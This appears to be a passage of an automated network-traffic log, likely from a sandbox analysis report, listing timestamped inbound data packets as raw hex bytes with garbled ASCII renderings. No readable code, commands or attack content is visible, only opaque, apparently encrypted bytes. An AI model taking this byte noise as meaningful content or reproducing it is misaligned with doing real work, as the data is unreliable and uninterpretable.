2023-08-29 20:43:03 UTC	96	IN	Data Raw: e1 fa f9 ed d0 b9 5f cb fd 60 d2 4b 94 3b c9 54 fd 1d ab 4f e6 39 14 f9 d7 ae a3 e2 2e c7 4a 95 f6 8c 61 9b 61 12 c8 10 cc 5a a9 c6 5b 62 a8 98 4e 5c 21 c9 75 05 08 ff c4 ab 76 fb d5 50 65 be 4e f3 85 f9 45 c8 72 19 ee c2 3f ff 9f af ff 72 30 13 f8 d9 69 48 bd 42 c4 f6 03 20 83 57 88 c0 7e 79 9f 84 3d 28 38 8f a7 55 df 69 37 e8 a2 0f 53 e2 ff 2f 36 3e cd ea 8c 81 37 f3 52 30 99 c4 e1 ba 26 5b fd 72 21 a4 3a f4 03 9a 1d 67 50 04 15 b4 4b 97 85 af f9 8c f3 92 69 54 bd 33 a4 3a ae ad ca 8e 78 cd de b9 18 e7 44 17 10 e1 60 8d 07 bb 2e cc e7 67 1d 11 a3 04 8e 29 00 0f ea 88 a3 9b ae e3 4e 23 05 4d 8d ac b4 17 79 5e 13 33 27 5e d2 6b 59 53 de ad 69 d0 a3 bc d6 c8 8c 3c ff ac 5e 6f 70 3c 16 63 2b 7a 9f b4 4b e7 07 ec a7 5a 97 cc f5 90 5f e3 d8 7f 43 c0 77 ab 3c Data Ascii: _`K;TO9.JaaZ[bN\!uvPeNEr?r0iHB W~y=(8Ui7S/6>7R0&[r!:gPKiT3:xD`.g)N#My^3'^kYSi<^op<c+zKZ_Cw<
2023-08-29 20:43:03 UTC	97	IN	Data Raw: 56 1d 13 f7 77 bc e0 06 e1 a9 20 33 ac e0 43 a4 10 54 17 c5 1d 82 3c 8b e8 6c 23 7b 59 03 74 bf 19 39 3a 59 fe 3f be d6 42 61 db 01 72 26 e4 bf a1 2b 79 20 99 aa 10 ec fe 4f 15 09 c5 80 f2 ef a2 9c 8a 8a c2 65 b6 44 20 4a 03 04 2d d6 02 4c 5b 6e 3f 12 5c 6a bf 83 be ac 67 71 6c 6e d2 ac f8 c2 24 9e 23 d9 c3 5e de f7 4f bc Data Ascii: Vw 3CT<l#{Yt9:Y?Bar&+y OeD J-L[n?\jgqln$#^O
2023-08-29 20:43:03 UTC	98	IN	Data Raw: bd 42 98 99 15 81 9d 45 c1 5b 1b 4a 2e 70 ee 4e 60 b4 af 2b 3b 3a 28 05 ec 35 6d 7e 23 72 fa df 3c 94 26 85 74 63 6a c4 bc 00 8c 33 50 1f 3a f1 20 ac b1 c5 4b 9d 36 88 7b 53 54 5d 71 98 0b aa 69 2d 27 b4 ef 5b 37 fe 78 51 fe fe bf aa d4 77 e4 ef ae 6f 72 53 06 39 c0 df 19 9c 3e ed 54 ee 5a 6c 89 d1 3f ee b1 78 3c 79 ae 1c e5 a8 c0 28 97 56 33 2d 53 81 a2 2a 2e 5a d3 10 c6 a4 9b 44 db f3 58 0b 52 19 68 c8 5a 83 3d 5b f7 de 12 f8 9e 9c c5 8a 98 5c 82 04 29 90 a5 7b cb 63 96 d7 23 5a 98 e5 61 f8 d0 1e 23 e2 46 9b 0f 3e 56 0b c5 bc d9 b9 77 af e3 32 31 89 44 5e 8b 7b c3 77 ae 6e 2c c3 8f b8 d0 fa 16 65 70 c1 0a 14 1b 47 e7 2c a7 be e7 91 db a8 4c ad 53 a8 3f 6f ca d0 1c 9c 14 4d 27 ae c6 40 23 4b a1 4b 5e d9 3c d7 9d e0 d1 08 52 2c ff 62 76 8c 3c bb d8 3c 77 Data Ascii: BE[J.pN`+;:(5m~#r<&tcj3P: K6{ST]qi-'[7xQworS9>TZl?x<y(V3-S*.ZDXRhZ=[\){c#Za#F>Vw21D^{wn,epG,LS?oM'@#KK^<R,bv<<w
2023-08-29 20:43:03 UTC	99	IN	Data Raw: 0e e7 12 52 44 68 c4 85 16 17 db bb aa 42 a5 6a 73 5d 43 36 30 75 ed ec 8e 43 a9 32 d6 8e 74 41 67 cd d1 16 2c 26 24 d2 31 82 84 aa 84 44 8c d6 9e e2 00 34 68 3f 16 f7 64 d9 b0 dd 4b 26 ab 76 1d 3b ee 69 98 e5 c0 87 d0 b8 fc dd b3 8c 3f c3 39 8b 37 40 ed a2 08 b7 8f 95 ba dd e0 fd 56 70 62 d1 29 66 0b 5d 23 bf bb 92 6c 16 33 ac fa 67 9f b8 8e e5 9f f2 26 5b 62 84 4f ff 5b de 6c 4a 37 91 16 78 a7 29 f4 2d ba 2d ae d8 9e 03 79 de a3 00 fc 63 fd 2d 3a 4b 81 db 32 f5 3b 4e 6c c1 1c e5 f2 8f 51 7f 7f c8 66 f3 0d a6 ff 23 32 a4 6a 17 72 31 77 8a b4 f4 2a 82 6f be ac 22 f6 6f 5f 27 e2 2f 22 06 30 b6 4d d5 0e cc 3e 8d 34 d9 a0 4d a2 55 aa 80 8a a2 43 b6 0d 6d 71 ea 75 39 66 f7 e0 a4 c1 da 92 d3 65 13 92 99 43 48 7d 84 f2 69 03 3f 88 1a af cd fd 5b e7 f8 08 2f 8f Data Ascii: RDhBjs]C60uC2tAg,&$1D4h?dK&v;i?97@Vpb)f]#l3g&[bO[lJ7x)--yc-:K2;NlQf#2jr1w*o"o_'/"0M>4MUCmqu9feCH}i?[/
2023-08-29 20:43:03 UTC	100	IN	Data Raw: eb 56 22 d7 1f fa ba db b5 7b 1f 3e 00 cd 42 8b 27 c4 f2 b2 0b 22 7e 0c d5 bf 33 2e 8f 29 36 7f 0c 5d f6 c5 89 4f d3 aa 3b ef 8c 06 81 0c 0b 23 cd f5 c3 36 05 dc fe af 1d 65 f7 bb 28 46 55 00 0d fd 63 a2 3d 90 16 a7 69 db 84 90 07 13 c4 a7 72 48 43 7e 74 25 6b 2c 77 d3 55 03 31 ae 60 ff 0e 72 13 50 ae f9 16 cb 00 52 50 0e a1 14 6f d1 ed 78 d9 78 9e fe 32 fc 32 2c 08 a4 df 42 e9 f0 3f 8c a8 5b 31 38 95 a0 c1 eb cb 14 1f 3d d3 50 a4 48 11 69 ff 79 a0 ac 80 9f d2 a2 60 d1 ed 6d 06 3d 95 1b 78 86 df f4 ac b0 32 91 a5 ee 0e f7 a3 4a db 30 07 98 48 c2 bf de 49 e6 5a 60 9a 9d 58 35 39 71 43 be e5 03 23 40 da b8 d9 fe 6c 0b 28 8f 91 6d 15 22 1a d0 0d 1c e4 0a ee 13 be aa cb 13 a6 50 6a ec de bf fb 6f 1c a8 9b 48 41 25 1a 39 5c 6a 50 76 4d 70 90 07 4d df 7e 50 d5 Data Ascii: V"{>B'"~3.)6]O;#6e(FUc=irHC~t%k,wU1`rPRPoxx22,B?[18=PHiy`m=x2J0HIZ`X59qC#@l(m"PjoHA%9\jPvMpM~P
2023-08-29 20:43:03 UTC	101	IN	Data Raw: 29 8d d4 8d e3 5c 16 27 d4 1d a8 e4 5a da 80 a8 21 f8 76 2b 77 3e 97 a9 9b 60 c3 d2 d3 2f da 6e ee 66 7a c8 ed 75 d1 8e d7 fc 09 01 06 3c e3 5c 7b b2 75 61 c8 e7 f8 fe 13 d1 f4 ad e9 25 ff 1b 29 91 7d 18 1f 18 f3 e2 9c 3e b6 57 ed 37 19 08 a8 42 ba ad 41 7a bb 81 59 fa 40 ff a9 b6 16 52 ea 92 f3 cd 49 35 f4 54 e3 74 c8 95 76 cd a1 4d 8e 80 52 64 f0 5f aa af 78 2a fe 01 e3 a9 45 82 3b 5c f1 3a 73 70 0e ae f8 0a 77 f1 85 d8 08 71 b2 20 b8 e5 da b3 01 ba bb 03 62 65 77 ab 36 39 1e 3d a6 7b 48 45 4e f5 7f 41 6e e8 48 e7 6d 0d fa ae 06 e2 37 94 9e 62 40 80 cb bf 43 a5 c9 e7 9a 88 53 70 d5 56 8f 98 2c b6 0a 99 2f 3a 40 fb 5c 86 50 46 e0 36 37 ae 40 69 62 59 23 4c 0c f4 cc 9b b6 9d b9 e3 96 4d 62 88 0c 40 72 14 55 d1 a5 62 53 2d b4 dd b1 75 0a 7b 82 3b 66 eb 76 Data Ascii: )\'Z!v+w>`/nfzu<\{ua%)}>W7BAzY@RI5TtvMRd_x*E;\:spwq bew69={HENAnHm7b@CSpV,/:@\PF67@ibY#LMb@rUbS-u{;fv
2023-08-29 20:43:03 UTC	102	IN	Data Raw: c1 37 51 09 a8 48 5f da 93 8a 67 4d f7 7d b5 b5 3d e7 68 c4 9c b9 40 8c 8a 2f 3c 92 8c 0c 36 b8 13 42 51 b5 e6 82 4a 87 cf 97 22 18 34 05 de 86 6b 8f 56 4a b1 6a cf e6 0d 66 15 e7 27 9a a2 2f b9 4a 45 9b af 4b 2d b6 1e cb 85 7c af ac cd c0 b6 84 ff 65 93 8a 82 97 4f 8a 9e 60 0d d6 8d 16 11 dd 43 e1 04 a9 df b2 51 1e b0 e1 35 5d 22 74 4f c7 c1 64 ea e0 fd 86 fb eb a8 d9 10 27 4d 63 17 f6 11 f2 07 14 be c9 45 4b ca dc 4a cb ec f6 5c 9a a6 ee 06 ce 01 09 03 aa a2 c7 8d 22 f7 40 11 0c b2 64 17 4c df d2 c4 30 27 92 a4 6f 3c 6c be 1b b5 23 6d 29 03 bb f7 1e 08 88 d2 20 d4 30 8e 6b d7 5d da dc b7 30 4d 42 0b 3c 76 66 69 ff 27 4a 6f c0 61 0e 00 5a 8b 51 ee 3f d5 1c 9e b9 56 50 d5 a9 66 14 29 b7 50 3b c2 00 3b 10 1d 88 eb 83 60 53 e0 8d 40 e7 55 ea e6 30 4a d3 7f Data Ascii: 7QH_gM}=h@/<6BQJ"4kVJjf'/JEK-\|eO`CQ5]"tOd'McEKJ\"@dL0'o<l#m) 0k]0MB<vfi'JoaZQ?VPf)P;;`S@U0J
2023-08-29 20:43:03 UTC	104	IN	Data Raw: a1 87 5f ec b6 21 dd a5 ef c1 35 84 09 ad 35 e8 53 4c bf fc eb f0 a5 8a a7 de 65 d4 f3 c2 88 a2 3a 56 2e 44 d1 85 55 fa 17 be 7d a6 8d 90 84 50 d8 74 00 a6 68 25 1b 8e 15 bc 87 88 6d 01 f4 51 1c a4 89 d8 66 e7 10 63 12 36 91 ff 98 16 ef 61 b6 86 71 95 87 80 1c 96 c7 72 78 70 56 dc 23 c1 59 b3 a2 02 ce 01 ee 34 07 53 51 63 07 bf 74 8e 76 42 6c 1d 45 2a 95 35 e4 99 99 f3 d2 25 bb 63 4f 9f 0c 32 b5 12 19 96 b1 48 22 f6 3a cb 1a 64 74 fb 6f 5f a8 87 80 11 92 db 99 8b 02 0a 01 bf 22 3e 87 2b db 49 7a fd 30 b2 45 b3 13 88 bd 4f 57 7a 57 7e 8f eb 03 14 21 47 61 f8 64 9f 69 28 18 c1 8d 7c 78 9f 33 48 8f b4 a4 e4 3c c1 6c 58 ba 79 d7 18 67 6c 2e 7e f2 4b 0c 2c da 11 2d 87 ed 08 5a 49 b2 e1 68 ae 91 ef 43 a3 30 de 82 5e 77 aa 8f ba 77 2b 65 77 18 e0 af 85 b5 55 9f Data Ascii: _!55SLe:V.DU}Pth%mQfc6aqrxpV#Y4SQctvBlE*5%cO2H":dto_">+Iz0EOWzW~!Gadi(\|x3H<lXygl.~K,-ZIhC0^ww+ewU
2023-08-29 20:43:03 UTC	105	IN	Data Raw: 80 b0 66 cc 6e a0 4e b2 b8 a9 5f d7 34 6f 36 55 68 29 5f 0a e9 ef 62 cf bd f8 95 b1 9f c1 a8 ea 0c 13 d5 51 7e 5f 3b 7a c0 dd be 94 e7 7f 4d 2b d2 15 a6 03 fb 59 a2 b8 c3 f0 30 49 e0 f2 23 e7 00 d2 df 58 be 0e 3d b8 2e 22 9a da 99 7e d1 5f 1f 54 c9 6d bf 4a 0a f9 d6 0c 4d 34 8c fa e3 41 02 a8 3d c2 9b 77 a1 a2 d0 e2 3d a4 c2 5d 32 14 a8 3c 86 87 4a 0e b7 42 1f d4 c7 45 e9 27 e7 f6 3c a5 57 5d 1d c1 72 0a a0 f4 de cc ad d5 b5 b5 ef 84 b2 b6 e7 ec 4e a3 08 b5 8a fd 6d df d0 a0 86 9e fd 26 f6 0b 88 4c cc 2f f0 d5 aa 5d 6a 1b 92 21 4f 2b 1c 3b d0 64 3b d9 69 96 f4 6b 2a 83 ce 2c c0 73 e6 1c 2a 24 a1 84 74 5e f6 55 41 bb 68 22 ef 5b 0b b9 b5 58 0e ba 62 e5 a6 9e c9 22 ec 98 32 a9 c3 ae 24 db 2b d8 3d a7 43 84 03 29 61 92 40 45 37 c9 1b 27 d1 d5 d6 7f d7 e8 a9 Data Ascii: fnN_4o6Uh)_bQ~_;zM+Y0I#X=."~_TmJM4A=w=]2<JBE'<W]rNm&L/]j!O+;d;ik,s$t^UAh"[Xb"2$+=C)a@E7'
2023-08-29 20:43:03 UTC	106	IN	Data Raw: 1e f5 7f 30 28 77 03 d4 f6 46 24 2f 0d d2 2a 91 32 0e 56 04 d7 d3 69 9e 6d 94 39 4c 47 b4 91 5c 5f 8d 1f d2 97 bd 86 4c 3e 3e f7 44 f9 14 0f e9 5a e6 33 ac e8 32 3d 24 41 b0 9f 8c bd a7 34 c2 ba ef fe ff f3 53 2b 47 f5 c7 44 56 51 68 e7 c8 34 4c f8 b5 71 36 3b 7a 0d b0 c1 08 2a 17 8b d7 65 78 de 83 db 74 9a 66 ef 8f ad ea 5c 4e b6 f1 f6 9d d2 f3 09 99 5f df 83 c7 7b 08 59 d5 1a e2 32 04 1f 0e 39 60 90 48 a8 fc f0 40 19 a0 03 c7 63 55 ce 62 05 2e f0 0a 13 f3 9c bf d4 be 74 92 61 1a 18 c7 73 0b 3a af a3 d4 4d 1b 1c 7f a2 cc ac 88 0f 67 e5 b6 67 cc 8c 08 7a 02 41 0c f3 83 43 7a c7 c5 d1 95 f0 5b 07 b8 7d e6 3e f0 74 b4 61 6c 8e 2f b0 d1 69 61 2b 9e 9e 18 ac eb ec 46 da fa f4 64 af 61 46 ac 7e 23 9d 9c 3f e8 4e 8b 2d 26 ff 30 65 2b de af bb e9 42 f0 58 2b ad Data Ascii: 0(wF$/2Vim9LG\_L>>DZ32=$A4S+GDVQh4Lq6;zextf\N_{Y29`H@cUb.tas:MggzACz[}>tal/ia+FdaF~#?N-&0e+BX+
2023-08-29 20:43:03 UTC	107	IN	Data Raw: ba 66 2a 35 25 9b 6e f7 3e 89 be e8 1f a6 22 bc 7c 6f c2 f6 69 fe fc 7f fc 53 91 87 65 9e f6 ed 8d 8f 39 46 62 65 7e f7 69 91 44 f3 e6 7e e3 3b 56 d2 4d fb 21 0c 8e 10 41 2c 20 d2 05 4c f4 c6 a9 20 64 44 fa 39 9d 8f df 38 25 44 ac 29 60 21 20 6d 69 88 75 00 85 55 03 35 e9 e9 21 30 41 89 e9 ea 8b 7f 64 0f c1 37 90 cf 0a 65 7d d8 c6 c0 83 33 16 c0 6c e2 69 a2 07 cd 65 6b 6d f8 54 19 70 72 d1 6d 07 b9 66 34 5f b4 62 d2 24 5c ef 6a 71 86 2a bd 62 d3 48 49 45 95 f7 d2 59 f0 cd 34 88 8d 6d 8c f0 63 c1 7a 7d 15 71 e0 91 22 62 5a c8 5a f9 61 58 36 f2 e3 13 3c f9 3e ca 28 d5 37 c4 45 b0 2b 25 9a ee 4a 1e a6 10 04 9c 3a fc d0 c9 74 96 3c d7 86 85 77 d2 44 8a 37 bb d1 54 db 95 23 ca ef c3 e2 28 98 e2 5f d9 73 cf 2d 65 db 1d 3e 0b b4 62 89 b0 8c 3f c3 16 aa 23 70 c6 Data Ascii: f5%n>"\|oiSe9Fbe~iD~;VM!A, L dD98%D)`! miuU5!0Ad7e}3liekmTprmf4_b$\jqbHIEY4mcz}q"bZZaX6<>(7E+%J:t<wD7T#(_s-e>b?#p
2023-08-29 20:43:03 UTC	109	IN	Data Raw: af 05 1c 7e 70 55 89 81 8c f4 cb cd 77 cd 1d 71 ad 0a 30 69 58 04 c0 12 02 ae c2 bd a8 a6 2e b0 8f 15 a8 c1 1c 97 0f 78 05 00 87 bc c9 33 bf 6c 92 b8 f9 04 50 3f 2a f9 f3 4c b9 80 92 c5 ce 0a 44 e7 e7 e8 01 8c c9 85 4f c5 96 e1 4b 05 e9 7d 40 2a a0 80 01 70 7f a5 b1 2b 1a f3 4c 05 bf b7 06 ed 56 b4 6d 3d 23 fa 33 ff c4 dc 6e 03 0e 96 ee 8d e5 1d 6e 9d 09 08 62 b7 0f a2 eb 0d 84 ab 7a 9f 46 f6 ee 7e b5 ca ca 32 11 55 04 4c 09 7f 61 7e 4f aa a9 58 39 7f b0 70 e2 dc 7d 46 1a 7f 42 ca 7b 96 d7 42 4a 4c 22 b9 fd 65 e9 69 e4 33 79 e8 fd e5 01 d3 e2 55 ec 88 bb 7f 3e fe db 61 22 8b b6 ff 59 7f bf 3c b6 d2 1e ec ff e9 bc 99 30 76 ca c0 81 fd d2 c2 ff ad b8 3b e2 3a fe 02 89 fc 42 a0 8d 34 d2 8e cb 12 80 52 22 78 c4 9c 16 90 1e 45 0e f5 b5 e1 df eb a7 08 4e a3 54 Data Ascii: ~pUwq0iX.x3lP?LDOK}@p+LVm=#3nnbzF~2ULa~OX9p}FB{BJL"ei3yU>a"Y<0v;:B4R"xENT
2023-08-29 20:43:03 UTC	110	IN	Data Raw: ef ab cf 3b 0d bd 16 b2 3e 34 7b 93 d6 50 8d ee 86 6b 63 73 17 67 3a 84 b7 ce 83 5c b7 b2 b0 65 25 38 6c d1 d3 bb d5 96 8b 27 99 6f 5e 19 b8 2b 84 d1 76 5b c1 0b 7c d6 27 e0 94 f4 d3 47 82 ad 7e 68 17 28 a9 e1 07 d3 e7 6c 35 7d 94 2d ae 21 99 5c 34 2c f2 cc 7d 6b a9 8d 90 f1 99 24 ef e3 d5 68 b0 97 1b 7c de ca 01 0f ad c1 ed a7 9b 26 8d 66 d8 70 cb 0e 85 20 b2 64 c7 1b 85 33 a5 b8 df d9 10 2b 73 db e0 20 e5 35 2b a8 cd 2f af a9 5e 11 14 d0 f4 3f 93 4a 58 03 b8 3d 38 97 fe 68 5a ef d5 ef b2 ca df 09 e4 a1 db e1 7f d7 3a 08 bd 5d e4 27 26 3c 6c 0d 12 88 11 9b 0b 51 dd d1 0f eb a0 a6 37 3b 9a cf 05 35 77 d3 b8 87 c6 12 1c 04 45 d7 9b 64 29 48 62 9e 08 fa c8 ac b6 bb ab d4 4a d9 66 f5 50 b5 16 1e c4 42 2c 3b f2 99 af f5 a6 a2 29 9c 40 7b d3 99 7c 70 d5 87 c0 Data Ascii: ;>4{Pkcsg:\e%8l'o^+v[\|'G~h(l5}-!\4,}k$h\|&fp d3+s 5+/^?JX=8hZ:]'&<lQ7;5wEd)HbJfPB,;)@{\|p
2023-08-29 20:43:03 UTC	111	IN	Data Raw: d6 9f d8 48 99 6b 61 e0 a4 5d 88 e0 3f 9f 41 bb da fa d3 ea b4 f4 f1 62 2b bd c8 9d c3 d3 9b e3 e4 fd 3a b8 52 77 8f 5f 2e 40 9b a7 09 45 a2 14 3a d9 31 54 e2 74 c5 68 7a e7 91 3b 06 71 62 c8 2f 36 d0 51 60 44 db f2 18 9b a1 a0 e6 31 d5 24 da af cc d1 19 cb 6e cb c8 de c3 3c fd e8 4a aa f6 1b 98 19 3d 42 55 00 8f c9 af 6a 99 dd 4c d3 0a 8b a8 3f 4b d0 a7 55 1d 99 b6 b6 80 5c f3 49 c3 40 1f 45 08 24 c2 79 56 f3 e0 ce cf 8c 3c 5c 31 b7 97 4d ce 0e 9c f0 5c 3b c7 51 9f c7 d4 91 fc 7a 4a 1e d9 3f b4 c5 51 e1 71 bf 96 29 f1 5e c3 87 be 9e 3a 46 fc 21 c6 84 87 01 dc 14 9b b2 cb 6b 25 39 66 8e 2c 35 26 89 34 33 3f 18 fc 9b ad 51 df 76 4c 77 28 e2 23 14 70 c4 50 6a a9 71 70 2e 5b a9 22 84 f7 ff 5a c1 ea 23 74 2c f4 0e 0e 6c 89 6a 79 11 80 43 d3 35 b3 21 e9 2d be Data Ascii: Hka]?Ab+:Rw_.@E:1Tthz;qb/6Q`D1$n<J=BUjL?KU\I@E$yV<\1M\;QzJ?Qq)^:F!k%9f,5&43?QvLw(#pPjqp.["Z#t,ljyC5!-
2023-08-29 20:43:03 UTC	112	IN	Data Raw: ba c6 ad 5c 54 4a 9b 99 c9 07 2f b0 d9 8f 87 43 24 aa 05 9d 23 d7 cd bd b5 b6 64 a0 9d da 70 a5 01 58 c9 98 62 57 e3 0b 1d 02 f8 60 44 23 bb 57 38 28 0f d3 88 b7 d7 bf 48 35 75 df 3c e0 6c 92 1b 35 6b 16 80 76 96 5f d4 8c 2a 5b 86 8b be a5 e7 33 4f d1 a7 1a ff 38 1f 1e 5a 00 eb b6 1d 2f a4 ef c7 5e e4 85 4d 81 86 3e 53 5c ab 1a b5 03 e1 46 06 d5 aa dc e6 75 cf be b0 c3 d8 64 80 a1 24 3d 65 a2 07 cd d2 b0 ee 28 56 db 76 48 ce 90 4c b8 09 4b 62 87 44 04 b7 8e 23 37 66 95 21 d2 0d a4 5d 1d f8 e8 cb 65 14 82 cf f9 26 9b bd 34 5f c2 d2 73 bd 4b b5 80 94 f1 3b b9 2d d7 4c 06 3d 78 67 87 63 0e e2 9d 56 d8 1e 0e be be 2d 6d 4b 81 0b 54 7d f4 17 01 2e 8b e8 47 45 17 10 a4 82 77 0e 3f 5d a8 fc f8 81 3f 54 24 e1 4c 56 5f 0e 3c ea 54 97 bb de 40 8a 62 8c 78 a6 80 50 Data Ascii: \TJ/C$#dpXbW`D#W8(H5u<l5kv_*[3O8Z/^M>S\Fud$=e(VvHLKbD#7f!]e&4_sK;-L=xgcV-mKT}.GEw?]?T$LV_<T@bxP
2023-08-29 20:43:03 UTC	113	IN	Data Raw: ce 2f c7 48 a4 27 29 af 04 40 9e 56 26 03 b4 52 40 32 ba fc da bd 99 68 59 19 47 51 f7 09 f7 bb a2 99 57 e6 bc cc 7e 44 d6 a4 ba 93 e0 de 38 f0 c7 13 f5 d7 10 8d a4 68 54 24 a8 d0 64 be 45 45 a2 f4 88 39 e0 42 c5 37 43 df 73 d5 9c 53 10 92 18 99 6d dc 0d b4 e7 55 05 d3 2e 69 5c 90 5c 22 55 b9 64 08 fc 45 84 54 2d 75 7d 0a Data Ascii: /H')@V&R@2hYGQW~D8hT$dEE9B7CsSmU.i\\"UdET-u}
2023-08-29 20:43:03 UTC	114	IN	Data Raw: 55 26 35 6e 04 38 7c 76 62 83 d0 e6 4a 26 b9 8a b8 38 23 57 c7 75 cd 00 00 7c 4c 31 e0 4f de 03 ae 7b e1 95 a2 96 c5 c2 9e 5f e3 30 07 c2 e7 b6 24 83 d9 12 f1 1a 1f e5 cc 34 d8 b4 64 f5 47 c7 91 09 7e 66 81 b6 e8 2e aa ef 90 8f f4 34 18 1b 11 2e 75 4c 90 b2 b3 66 9c 5d 70 a1 2b d1 d5 89 5f 63 6a 7d b1 76 54 a9 6d 38 05 70 19 9b 20 09 f2 cb 35 ff c9 a4 70 89 eb 80 c0 f4 50 e2 ae 52 e0 5b c8 37 b5 5a c2 af ff 72 ce 5b c4 ea bc 91 49 46 48 19 3a a0 ed e4 83 c0 ab 28 06 6e b0 4c 51 2a 7e d5 ec 09 3f 34 26 1e aa 1f 82 94 8e 48 6a 0e 95 99 56 fd cd 58 a8 45 19 72 c6 89 f4 a1 a7 22 05 5f 4c f6 2f 66 c6 aa cd af d2 8b 4e aa 28 fe 3e da d0 1b 1b db d1 7e 5d ea dc 3e cb e9 07 cd d3 b2 c5 ed 93 81 fb 6d 1b 0b 09 82 d8 28 9c 77 e0 91 fe 40 d0 a0 50 b4 7b eb 09 e4 f8 Data Ascii: U&5n8\|vbJ&8#Wu\|L1O{_0$4dG~f.4.uLf]p+_cj}vTm8p 5pPR[7Zr[IFH:(nLQ*~?4&HjVXEr"_L/fN(>~]>m(w@P{
2023-08-29 20:43:03 UTC	115	IN	Data Raw: a0 e4 2b 3d ca 9e 76 fa 7b f1 0f 39 a0 79 4b 36 05 bc f6 bc d9 76 ac ca e4 9c dd cf 57 de 8a e8 6e 38 a6 eb ca 27 93 54 04 2a fe 4f 6c 43 e4 20 d5 87 ca dc ef b1 3a 02 67 df f8 41 90 2c 74 42 cb 84 99 05 0a 39 49 e5 01 a6 2c 9c 0d ff 38 b0 0d c9 3e 23 d9 57 97 c6 a1 07 a1 02 01 e6 9a d8 90 a0 57 f6 6e 52 ab ab f0 bf e2 0d 82 47 64 22 1d 6d 57 03 cd 97 fa 83 27 26 d2 1d 5d 37 bf bf 66 04 7e a7 7e a5 9b 03 cf c4 74 a0 62 95 9d 54 8a c9 c3 2c bc a1 0d fd b4 fd 4a 59 41 c7 2b 88 47 8d 36 b1 f3 c6 da 51 50 09 f6 fe 0b 18 76 bb ec ca 71 4c 43 87 1e 00 6b bc c9 bb 76 f5 f4 8e e0 0e 4c c5 d3 d1 7a b6 21 83 1b b7 52 5b 4f e7 3f 41 32 97 a1 52 8a 06 2e cd 7b 1e 72 32 89 56 6e e3 a1 7d 36 fe 5a 54 75 03 7b 5b 33 5b 9b b9 4e 6d 11 b8 de 82 e1 c0 97 cf cf 8a 09 e8 95 Data Ascii: +=v{9yK6vWn8'T*OlC :gA,tB9I,8>#WWnRGd"mW'&]7f~~tbT,JYA+G6QPvqLCkvLz!R[O?A2R.{r2Vn}6ZTu{[3[Nm
2023-08-29 20:43:03 UTC	116	IN	Data Raw: f3 3b 75 c0 2e e7 1f e2 74 ca 63 0a e6 e9 af 27 2c a1 ae 3a 7c 02 f6 de 62 91 8d 30 2e 44 62 f0 b7 94 fd 34 77 2b b2 e7 c9 40 64 78 60 c3 70 8e e7 3c 9c f3 7b 65 46 51 44 e2 46 30 99 f4 f8 e7 71 bd b1 fe 8a 00 56 0b 73 6d 6e 04 7a 8a 30 44 bf b8 34 6f 36 e7 b0 a5 bc ef 23 ad 57 b1 20 01 67 f0 1b 59 2b 51 46 de 63 d3 9b 4e f0 eb 28 ac 29 ef 41 45 9b 9f b9 4a 41 36 05 ad 8a ed 6b c2 99 f6 69 2a 90 3b 39 50 f2 8a 08 3d d4 ba 5c 0b e7 ce ef 4b be 8c 31 51 e7 4b 05 17 9c d1 1e 2f 58 b4 8b 69 ab ae e7 c4 0f 7c 5a 2a e1 ed 5f c1 de 48 ea a0 9a 54 51 87 15 83 0a ff 6f 26 19 81 e1 9f 8a 8c 5e 8d 6d f5 5a f1 0b 9c a1 68 bb 29 dc bd ed e0 49 eb 8d 71 ca ba 59 98 72 a1 39 cf 5f a7 84 c0 c8 e8 a7 d7 ee e6 54 9d f9 dc e0 54 e2 9f 99 91 7f 10 bb 9e 67 d1 a5 4d a0 cf 4a Data Ascii: ;u.tc',:\|b0.Db4w+@dx`p<{eFQDF0qVsmnz0D4o6#W gY+QFcN()AEJA6ki;9P=\K1QK/Xi\|Z_HTQo&^mZh)IqYr9_TTgMJ
2023-08-29 20:43:03 UTC	117	IN	Data Raw: 00 94 a0 f4 d2 e2 9d 3a cd 34 0d 7c 14 39 23 6a 27 ff 1a c1 a3 c4 ef ca c5 cf a0 a5 44 6c 0c ec af 53 70 de 42 68 73 70 97 92 6e 7b 48 3e 98 bf c1 11 4a 9b d6 75 ed 5e 34 a7 3d d9 0f 6b 84 64 c6 cd 72 59 d8 17 88 f0 4f 6f 4c 65 d0 14 ef d0 95 fb c1 3a 08 f2 50 67 4d 67 fd 38 ac 5e 7d b6 22 14 09 25 00 11 54 b2 52 17 57 2d f3 4a 55 e9 c2 62 58 cc a3 5b 1c d6 a6 fa 89 cb 88 c3 3b 8c 3e cc 37 03 54 80 81 1f ea 90 20 e8 29 74 4d 64 d3 5d 63 14 df 6f 0e 74 0b 4c 61 a3 e9 80 2e 97 0e d8 96 ec 33 b8 60 a9 3a 9e 85 b0 42 3e 64 03 05 46 8c 88 7f 66 dd a3 64 8e 5c 8a 43 f3 b2 25 25 62 eb 5f 35 e3 e5 98 0e dc a5 d8 42 2f 6a 1c d7 51 d4 85 0f de 88 6a 7a d3 fc 6b 38 59 ff c1 21 1b 6a 7a 32 e5 dc f9 55 52 63 75 98 5e 94 0f e1 0c 8d 6b e4 c3 3c b6 0a 77 61 fa a4 e5 1d Data Ascii: :4\|9#j'DlSpBhspn{H>Ju^4=kdrYOoLe:PgMg8^}"%TRW-JUbX[;>7T )tMd]cotLa.3`:B>dFfd\C%%b_5B/jQjzk8Y!jz2URcu^k<wa
2023-08-29 20:43:03 UTC	118	IN	Data Raw: 02 8c 41 76 3e 4c 76 d1 1d 57 61 30 5b e3 60 97 8b 17 57 ee 53 36 b3 9d 6c c7 6a b8 6f 7d a4 0f 02 75 3b 54 d4 db 2c 8b ce 26 e0 e9 1c b0 ec ad 12 20 2c 5b b9 03 05 53 57 19 d0 c1 d0 7c 85 c5 4d d7 d2 f7 fb f4 16 ba 2f a5 27 78 e3 44 35 46 3b be e7 a3 e8 ff 53 1f 95 d0 f4 ad 85 ca 4c 79 6e 75 b9 bf ed 5e bc 60 cb 57 d5 3c 44 1c 51 d2 ce e4 47 1a f9 46 80 c4 48 67 a5 ef 96 ab 38 d3 04 9f da e7 3a 58 86 21 14 fa 23 cd 61 46 b3 dd 2f e3 31 ca b4 08 e7 f0 04 2c 86 e9 b6 dd a7 e9 06 c8 34 77 1f 15 8f 21 75 d4 d9 40 29 62 28 9a 23 8f e0 29 d8 fa 49 d0 dc d5 8f 22 b9 a7 aa 7c e5 16 a4 93 0f 45 f6 bc 1e 6d 2c 15 29 22 97 7e 5f 6b ea 73 95 5e bd b6 ae 6b a3 44 1d 6d 40 11 1c da 9f d3 e1 90 47 7f ca 1b ca fe 65 e0 51 8a 4a 6b 21 8c f4 ce 19 09 35 02 75 42 72 59 96 Data Ascii: Av>LvWa0[`WS6ljo}u;T,& 